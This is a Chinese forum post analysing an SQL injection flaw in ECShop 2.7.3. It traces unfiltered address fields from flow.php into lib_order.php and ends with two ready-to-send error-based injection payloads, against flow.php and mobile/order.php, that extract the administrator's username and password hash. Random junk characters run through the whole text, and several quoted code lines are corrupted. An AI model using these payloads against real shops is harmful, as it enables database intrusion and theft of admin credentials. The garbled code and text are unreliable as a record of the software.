前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。1 `! [) V: V: Y
& G$ @9 n/ h3 U d# H+ [ 漏洞关键文件:
! m% Q8 Y" [8 O3 G( Q. z6 U- c' v/ p* ?) o
/includes/lib_order.php
# `2 |* A s5 f5 m# b. U2 q" K8 O! c- o4 _: z
关键函数:" \: v: L0 w- I1 q& ^& v( t) Y
/ U% @4 X7 J' j; M/ P
* R# j2 C) J- ]- J) K# J* z
5 Z/ O, f' v' z% K1 b7 W H01 function available_shipping_list($region_id_list) % g/ w% m; f) p4 }3 T" n
, F2 g% h' x( q$ h
02 { P1 c" X4 r% P9 @
. g2 m# O2 d& m( V5 i6 p: Q
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 8 e p1 ?; j: }
2 m& z6 o0 s/ o9 d1 o- p& V04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ' c. P) Y8 v% r0 F9 A& X) s0 o$ }& o
* E8 j2 Y: d: R9 h: P# k
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
& [: z/ I: _+ Q4 D3 Z; Y+ I6 L1 k+ F! B: v; F! C: g/ P
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
' y3 Q' [6 S& T! m9 r
6 ]8 S# e5 B- M1 N' O i07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 2 c& U( f; P5 Z9 s2 N- q. T
3 V$ ]" P, F1 g- N r7 m5 T5 W! [. ~08 'WHERE r.region_id ' . db_create_in($region_id_list) .
- f7 b* f* j* U# M. s" o6 m( y/ ]% U: A
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 ~$ B' ^8 `0 {7 @: @: S T! i+ L( d6 n W( r3 e
10 ( r5 m: S' ~* B* M
+ L4 I; T2 g$ N* |7 B11 return $GLOBALS['db']->getAll($sql);
8 `0 J0 r6 k' q. V* [4 G& x9 W! Z6 X) l' P
12 }
# q C6 A" e& C$ r' r
% z& q# K; {* X0 I0 N9 W显然对传入的参数没有任何过滤就带入了查询语句。+ v' d; X7 V7 L4 k
; G0 e/ v+ {5 E5 n
下面我们追踪这个函数在flow.php中:1 U( t- f; O' Q; S
第531行:
% D8 p7 j7 k1 }7 f7 A6 N8 ^" t. v4 I6 l8 w# Q+ x
1 $shipping_list = available_shipping_list($region); & m @) _5 r2 U/ v& F! J p
2 ?. d/ l4 Q1 S" f: V" Q/ N& }
J8 m4 `+ n$ x4 Y) k
1 t( S+ B% N4 q6 k& }9 X. B7 w
/ ^4 \" [4 ~: o- W* q; m p9 L) {7 Q9 f! `$ L5 k+ Y7 }
再对传入变量进行追踪:6 W0 {& C+ l+ J0 [
) a6 z" ^& c; h: ~: ]: o; Y6 w
第530行: + X& V' a8 h9 ^" x' p# w
9 a3 D1 B& o3 H2 J" ]
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); I; s- C7 }9 h* ^$ n
% T0 ?4 g! g" W, J
4 c9 u; Y- b6 r3 k
' `* j2 \& F! E- Z5 n. A: n0 o
, x; C% a& n0 x! s( j, N& U9 a: y2 z6 {% ~# D' [
第473行:
' V; c$ l6 f: v X; r0 Z% V& L D
, X$ ?7 O- M7 n4 g* B1 $consignee = get_consignee($_SESSION['user_id']);
' P% n% N! ]& f4 S
/ K( l& Q- g y; l9 `& x到了一个关键函数:+ x+ R: {4 Q1 m" ]4 Q- ?8 m# b
& t! w+ m+ n- |- B- N! K3 ~% M/includes/lib_order.php, C& t; X" t. W6 c
5 I9 M1 V" l. K) U. }0 h
. C- O5 s; K& k9 n4 t
; `) u5 |) I9 r- X) t+ t L
. K) ^# @# {: K) V F6 D1 J$ I% ^3 V
01 function get_consignee($user_id) ! f0 ?+ p7 o$ \! e, T; T
& _- ~+ C7 k8 H: P02 {
1 E% n8 j- J; U% ^' a% U
! r! Y* }, \8 M& f0 T. W% C03 if (isset($_SESSION['flow_consignee'])) ' \ j9 t6 _! |- }! s
) P# }! P4 O/ }( R0 X% \
04 { " v4 B7 r! a3 z$ X2 f6 ?* v5 U0 k
& q' X1 }% r3 R6 }8 A8 w* _
05 /* 如果存在session,则直接返回session中的收货人信息 */ 7 Z+ N0 C# q0 G; w" ^' l
: {" K2 D; p3 O6 Q
06 U7 q# K2 G7 Y: e3 q" B
7 M- c8 d$ [$ d, O, x% P% E07 return $_SESSION['flow_consignee']; 8 u9 M: \" e: J" I& p% R S+ E: k: }
3 ^5 E. a/ I) B9 w/ H" p
08 } 0 v: Q1 B/ g; @" Y4 C
. c1 H: H+ I1 s6 b% B" }3 F09 else X& d7 e, `8 b% X' g
0 z' J2 E" x" J10 { : N! ?# ^" ?' w& T( |; ^% ]
9 L, t# i3 h$ H+ f+ m: b" ~, l9 ?11 /* 如果不存在,则取得用户的默认收货人信息 */ ' z9 Z& I- Z! ^* u3 E. g% d
' Z# V1 k1 G# e( |9 X
12 $arr = array(); ! ]3 q5 l9 _3 I# [$ @
( {$ j& m8 j- { ~( ]1 v9 v13
- ~+ ^5 [# @( B7 a* ?% O
2 _1 ?9 Q4 c7 @" t) L4 }7 ]4 \4 k- M14 if ($user_id > 0) 2 ]/ t C, r" N1 }
& q# y3 \! Q: G' M15 {
% u* ?4 b9 G1 Y
4 P6 }1 Y! a5 B5 t5 F( {* w16 /* 取默认地址 */
9 N( D( a/ e' w8 Y& y. h! D5 D' E- {0 a+ M
17 $sql = "SELECT ua.*". ! Q1 K7 y8 A$ `+ R: c; H* s
& ?( Q- Q: H) ?4 f: y, [( X18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
8 F$ `6 Y& x: {; t" v0 d5 B, T9 g7 [+ S
9 g* x/ J* p8 ?1 e0 Z1 R19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
7 L& k. e7 D1 T5 K* ~$ D: G' Z+ K. o3 l4 Z
20
7 w0 H I; K5 y @/ i7 M F& y* J7 Z
21 $arr = $GLOBALS['db']->getRow($sql); 0 C2 P& I1 u) F0 {6 H
' k. h$ Q: b0 a' V7 ~# K; |2 `22 }
6 m" l x8 c; b& l8 k8 I. \$ y0 ]$ t# f8 T/ ` W. \
23
A: r P- }, O G- ]$ o7 p$ V% r7 m2 P) F4 H
24 return $arr; 3 L, u( E0 G7 @7 l
9 n/ f( c3 B& K1 d! R0 y25 } 6 C# }! K0 e( Z0 e+ ^2 H" a
$ N& A! H) i* @$ u, `) K& m7 L. w26 } : ?- R5 w* z' Q0 Y, B) g& ^+ Z
. k3 e4 u3 E- X1 r2 o
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
& X2 o) n ^) Y7 L) y# |- ^! z
4 P. H8 }1 F* K3 m2 Q- F
* Z; H5 C# c2 i" E) z) e4 [- {
# ]9 r$ p# e8 I7 B3 M& Z5 B关键点:
* u- u* _: C/ p5 y; R1 _" z; m ~8 K* R, \1 [2 J1 O' u
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 X0 [$ `' p( r+ {& D/ W* [9 `
1 ]% k& M5 Q# Z$ k) p: |4 I这里对传入参数反转义存入$_SESSION中。
. v/ M* C& o- u' o5 q0 x, z: U$ s2 L4 O/ K: `+ V* C+ D+ I
9 ]5 O6 f" n- L3 _6 t
% x" o+ v b9 c$ L' ?2 h1 ~( [! p然后看下:, j/ r2 W5 k- n3 X x: @
3 m2 L- V+ ]* Q* G; ~% X8 h
' C" a& X% ?7 Y4 C; w" C+ `: I) Q* l$ B& Y
1 x+ A9 B6 X* B) N+ ]4 V
0 h1 [& M0 W" D& q1 n, Z3 h01 $consignee = array(
2 g* c/ x* t8 F5 [5 V
2 m- ^4 V/ A7 T/ g02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), " {2 B" q ?) j7 V4 K% {- p
1 k% j R1 ]1 F+ t X
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 4 E( V0 e6 \' G8 ]6 Q d
; q" f7 e; F+ ]0 X1 B" Q
04 'country' => empty($_POST['country']) ? '' _POST['country'],
. i+ ?: P* B) ` c/ h; T3 S
, \7 s; g! ^; D9 N05 'province' => empty($_POST['province']) ? '' _POST['province'],
% h- q7 r {# F1 g% Q
& R2 X& I( ]# [06 'city' => empty($_POST['city']) ? '' _POST['city'], 7 t; M! n7 X( s; G: u; S
3 z: ], c9 c3 N
07 'district' => empty($_POST['district']) ? '' _POST['district'],
3 G7 F; _8 K" W7 `& f5 c/ U v# K" d' y O7 f
08 'email' => empty($_POST['email']) ? '' _POST['email'], % c! x( y, n9 Y
6 V1 Y! s( I& x2 J
09 'address' => empty($_POST['address']) ? '' _POST['address'],
& `3 q6 P3 Q1 l( i; p: i7 N' p, l5 @6 r5 M5 n) K
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
: u, Z" y+ \$ |& _) w0 ]; @: b! ?& h9 T1 p
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ! p/ ], `9 j) S5 L, [/ O6 h* N: r
4 P& r( m+ r' z; P( }. ]12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
, E4 V: ?/ }3 a7 U( J5 T8 j* {; \. h) p) c# C5 ]
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], * z3 t' M) E3 r1 ~
* |1 g8 Z4 B# j' X: C6 h
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], ' a3 A9 K1 Q, f1 y( s' B* I8 M
, E. ?; W" T8 J& ^: r
15 );
. g2 ?$ J0 P) M9 C# V* y) @
9 I$ {0 C8 C0 f" V; \* W$ ~4 m! {好了注入就这样出现了。; K; s, x! ~2 B* }0 c4 ]& N/ o. F
4 J v5 P- {$ F+ I" k% h
==================4 T8 Y8 q% P/ Q9 Z2 W; E) D9 u
4 R% }! e8 c, e1 u% y& v0 u
注入测试:
: h8 P3 u) D: p' g+ Y
. ] M! l* B# g+ E环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)9 `2 ~! [! E3 I2 \# a0 A- q7 Y
+ _% m4 {# M. Z. N, [6 S测试程序:ECShop_V2.7.3_UTF8_release11061 `3 t5 m. e5 H% V! B: r
, l/ z. s' |" q) E4 s% A
" A c R0 h# @0 P6 i
1 l) Y+ ~. I+ I1.首先需要点击一个商品加入购物车( e: y0 |2 ^5 O
# p" y3 ? D( c3 D" V2.注册一个会员帐号
5 b: D x% I- M6 ~: O. `7 @# d
3 i2 A3 H4 {- Y5 T% m; G3.post提交数据
$ H# } l/ D6 |
" Y: C( `9 U7 y( Y) [, | 0 E! u% G1 H: V1 v' i
7 X& `! \1 v. ]1 I# A1 http://127.0.0.1/ecshop/flow.php ) Y* o. w6 e- t- ]
+ d* e; {# t! J7 P3 e/ z% W9 k: i2
) F; [+ D4 C) v/ P( K! I Z* c
1 \$ B) ~. M1 V, e3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 6 H4 T t1 {4 E0 e8 \) Z
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
" P5 \" `& s5 M" I$ O; z, ]5 c0 m9 t0 V' E6 J# D
我们搜寻关键函数function available_shipping_list()5 Q% ^/ u R1 F% ~ x! ?: @7 R
2 X e0 d9 P3 K7 F& v. M& P( N在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
1 {* S8 b( x4 G5 R6 N: b& f2 ~7 j( `% p {* P* V: b9 [/ u
利用exp:
. V: T; A+ E5 w7 z m0 }4 a% m N* q7 k. ^" s
1.点击一个商品,点击购买商标
! m0 Q. s4 e* V' N! i5 J% t. L/ L8 Y9 B4 Z6 `8 m7 h
2.登录会员帐号+ }5 K8 d; A6 L& Y5 s- f3 }
6 C* J+ t4 w- K1 {, \
3.post提交:) y2 X7 V+ `) c! p$ \6 X) y( o" t5 J8 K
6 v( o3 E0 P2 {' B% T
http://127.0.0.1/ecshop/mobile/order.php
: B' c8 V$ A2 B4 _% G; a
8 G/ s G' H, \& J U H5 q7 I+ M $ S- x" b% m$ m7 N; \0 u0 F
" b; i" I7 E2 y' y( U) q. [country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=' A% o' u' j) _! `1 M
! G' I0 m% d$ G! k. e% x9 e8 X1 Y
|